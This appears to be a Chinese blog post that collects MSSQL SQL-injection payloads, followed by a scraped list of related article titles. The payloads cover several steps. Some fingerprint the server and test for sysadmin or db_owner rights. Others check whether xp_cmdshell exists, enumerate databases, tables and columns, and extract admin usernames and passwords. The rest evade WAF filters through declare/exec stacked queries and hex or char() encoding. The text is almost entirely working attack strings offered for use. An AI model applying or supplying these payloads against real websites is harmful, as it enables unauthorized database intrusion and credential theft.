目录:

  • 基础语句
  • 注入点权限判断
  • 获取数据库
  • 获取指定数据库中的表的列的数据库
  • 判断数据库级别的角色
  • SQL特性:

关于mssql的注入语句,跟mysql也差不了多少,都是从information_scheam库中获取各种数据。

基础语句

  • select ***://查询指令

  • @@version // 数据库版本

  • system_user //系统用户名

  • suser_sname() //查出当前操作数据库的登入名,一般和触发器一起用来监控是谁对表做了操作

  • user //获取当前数据库用户名

  • db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库

  • db_name(7) //查询库名,1-6为系统库,7开始为其他库

  • (select host_name()) //主机名

  • ;select user //查询是否支持多语句

  • and exists(select * from sysobjects) //确实目标是否真的为mssql数据库,页面返回正常则是**

  • and exists(select username from manage) // 猜解字段

注入点权限判断

  • and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员

  • and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限

  • and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限

  • (select count(*) from master.dbo.sysobjects where xtype=‘X’ and name=‘xp_cmdshell’)
    //查询xp_cmdshell,1为存在

  • (select name from master.dbo.sysdatabases where dbid=7)
    //修改dbid数值,查询库名,1-6为系统库

获取数据库

(该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)

and 1=(select quotename(name) from master…sysdatabases FOR XML PATH(’’))–

and 1=(select ‘|’%2bname%2b’|’ from master…sysdatabases FOR XML PATH(’’))–

获取指定数据库中的表的列的数据库

  • 逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top 1 * from 指定数据库…指定表名 where排除条件 FOR XML PATH(’’))–

  • 一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top N * from 指定数据库…指定表名 FOR XML PATH(’’))–

注:
第一条语句:and 1=(select top 1 * from 指定数据库…指定表名 FOR XML PATH(’’))–

加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来,用在筛选表段时很不错。

注入语句可以用char()表示,以下是统计下总共有多少个库

(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]…[sysdatabases] )+CHAR(58)+CHAR(58))

查询多条数据可以使用%2B 也就是加号,如果语句中有+号报错,可以url编码成%2B

select null,name%2Bpass,null from info

判断数据库级别的角色

  • select IS_MEMBER(‘db_owner’) //查看当前角色是否为db_ownwer

  • (select top 1 name from sysobjects where xtype=‘U’) //查询当前库第一个表名

  • (select top 1 table_name from master.information_schema.tables)
    //查询master库第一个表名

  • (select top 1 name from bbs.dbo.sysobjects where xtype=‘U’)
    //查询bbs库第一个表名

  • (SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)
    //假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行

  • (select top 1 name from sysobjects where xtype=‘U’ and name not in (‘表名1’,‘表名2’)) //查询其他表

  • (select top 1 table_name from information_schema.tables where table_name not in (‘表名1’,‘表名2’)) //查询其他表

  • (select name from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表

  • (select ‘|’%2bname%2b’|’ from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表

  • (select top 1 name from syscolumns where id=object_id(‘admin’)) //查询当前库admin表的第一个列名

  • (select top 1 name from syscolumns where id=object_id(‘admin’) and name not in(‘列名1’,‘列名2’) //查询当前库admin表的其他列名

  • (select top 1 column_name from information_schema.columns where table_name=‘admin’ and column_name not in(‘列名1’,‘列名2’))
    //查询当前库admin表的其他列名

  • (select name from syscolumns where id=object_id(‘admin’) FOR XML PATH(’’)) //快速查询所有列

  • (select top 1 password from bbs.dbo.admin) //查询bbs库admin表password列的第一个值

  • (select top 1 password from admin where password not in (‘值1’,‘值2’)) //查询其他值

  • (select password+username from admin FOR XML PATH(’’)) //快速查询所有值

  • (select top 1 name from sysobjects where xtype=‘U’ and name not in(select top 0 name from sysobjects where xtype=‘u’))
    //变化0来快速查询

  • (select top 0 name from 表名) //变化0来快速查询

SQL特性:

  1. mssql空白符,%01-%20都为空白符--和/**/为注释%00也可充当注释符

  2. 引进一个declare 函数,他是mssql声明局部变量的函数,我们经常用它来绕过waf对一些关键词的拦截

    1. select * from admin where id =1;declare @a nvarchar(2000) set @a=‘select convert(int,@@version)’ exec(@a) --

    堆叠注入,使用declare 和exec进行无select注入

    1. declare @s varchar(2000) set @s=0x73656C6563742031 exec(@s)

    declare定义变量 set设置变量值 exec执行变量

  3. 变量的值是支持hex和ascii码的,当过滤引号我们就可以这么用

避免使用引号

(select top 1 name from syscolumns where id=object_id(‘admin’))

(select top 1 name from syscolumns where id=object_id(char(97)+char(100)+char(109)+char(105)+char(110)))

MSSQL注入语句总结相关推荐

  1. concat mysql sql注入_sql注入-mysql注入基础及常用注入语句

    最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...

  2. ASP+MSSQL注入工具 web版 beta 3 final release

    ASP+MSSQL注入工具 web版 beta 3 final release 2007-10-01 12:17:14 标签:ASP web MSSQL [推送到技术圈] 文章作者:MIKA[EST] ...

  3. mssql注入和mysql注入_mssql手工注入

    mssql注入是针对于sql server数据库的 sql server数据库和mysql数据库是有所区别的,语句命令之类的可自行百度. 平台:i春秋 内容:mssql手工注入 找注入点 点击test ...

  4. ASPX+MSSQL注入

    MSSQL三个关键系统表: 1.master.dbo.sysdatabases系统表:该表位于master数据库中 关键字段:name:库的名字  dbid:库的id(dbid从1到5是系统库) 2. ...

  5. mysql注入语句解释,MYSQL注入语句实用精解

    MYSQL注入语句实用精解 只讲字符型. order by XX Union select ..... 1' UNION SELECT 1,CONCAT(user(),0x3a,database(), ...

  6. sql注入语句示例大全_SQL Order By语句:示例语法

    sql注入语句示例大全 Order By is a SQL command that lets you sort the resulting output from a SQL query. Orde ...

  7. sql注入语句示例大全_SQL Group By语句用示例语法解释

    sql注入语句示例大全 GROUP BY gives us a way to combine rows and aggregate data. GROUP BY为我们提供了一种合并行和汇总数据的方法. ...

  8. 最详细的SQL注入语句

    最详细的SQL注入语句相关的命令整理 1.    用^转义字符来写ASP(一句话木马)文件的方法:    http://192.168.1.5/display.asp?keyno=1881;exec ...

  9. MSSQL注入手工注入mssql提权

    mssql数据库 mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点. MSSQL数据库的基本知识 ...

最新文章

  1. Python 语法小知识
  2. 恢复 root 本地无权限 Access denied for user 'root'@'localhost' (using password: NO)
  3. oracle--rowid
  4. 第一百四十五节,JavaScript,同步动画
  5. PyTorch Softmax
  6. J2EE项目架构最佳实践
  7. 网络异步编程(C#)团购课
  8. php flash斗地主,flash斗地主
  9. php 阿里短信接口
  10. APP在推广之渠道为王(二 )
  11. 生活随记 - 火星梦
  12. python-return_全局局部变量_函数名用法_函数嵌套
  13. 世界上最复杂的函数_世界上最伟大的十大公式,你都知道哪些?
  14. 关于DANet注意力机制
  15. 菜鸟实现 PHP 二阶、三阶行列式计算和矩阵运算的加、减、乘
  16. 【距离产生美xp主题】_8.30
  17. 类select下拉:多选+搜索
  18. Linux chown命令学习
  19. HTML网页设计基础概念
  20. Unity实战(3):pureMVC框架应用

热门文章

  1. 云南大学计算机专业双一流排名,2021年云南双一流大学名单及学科有哪些
  2. DM368开发 -- 环境搭建
  3. 抓包工具 Fiddler 使用:弱网络环境模拟限速测试流程
  4. 揭秘网络打手致富之道 一单获利30万
  5. 买卖汽车电商交易平台、选车社区论坛、买新车、二手车交易平台、移动端汽车电商平台、web端汽车运营管理平台、供应商管理、营销商管理、新车交易管理、调车管理、汽车顾问、车库管理、出入库管理、Axure原型
  6. 重定向和转发各自的应用
  7. 51单片机-LCD1602
  8. 递归实现排列组合问题
  9. 分享一封拒绝老板下班时间安排工作的邮件
  10. WEB网页版计算器(HTML、CSS、JavaScript实现)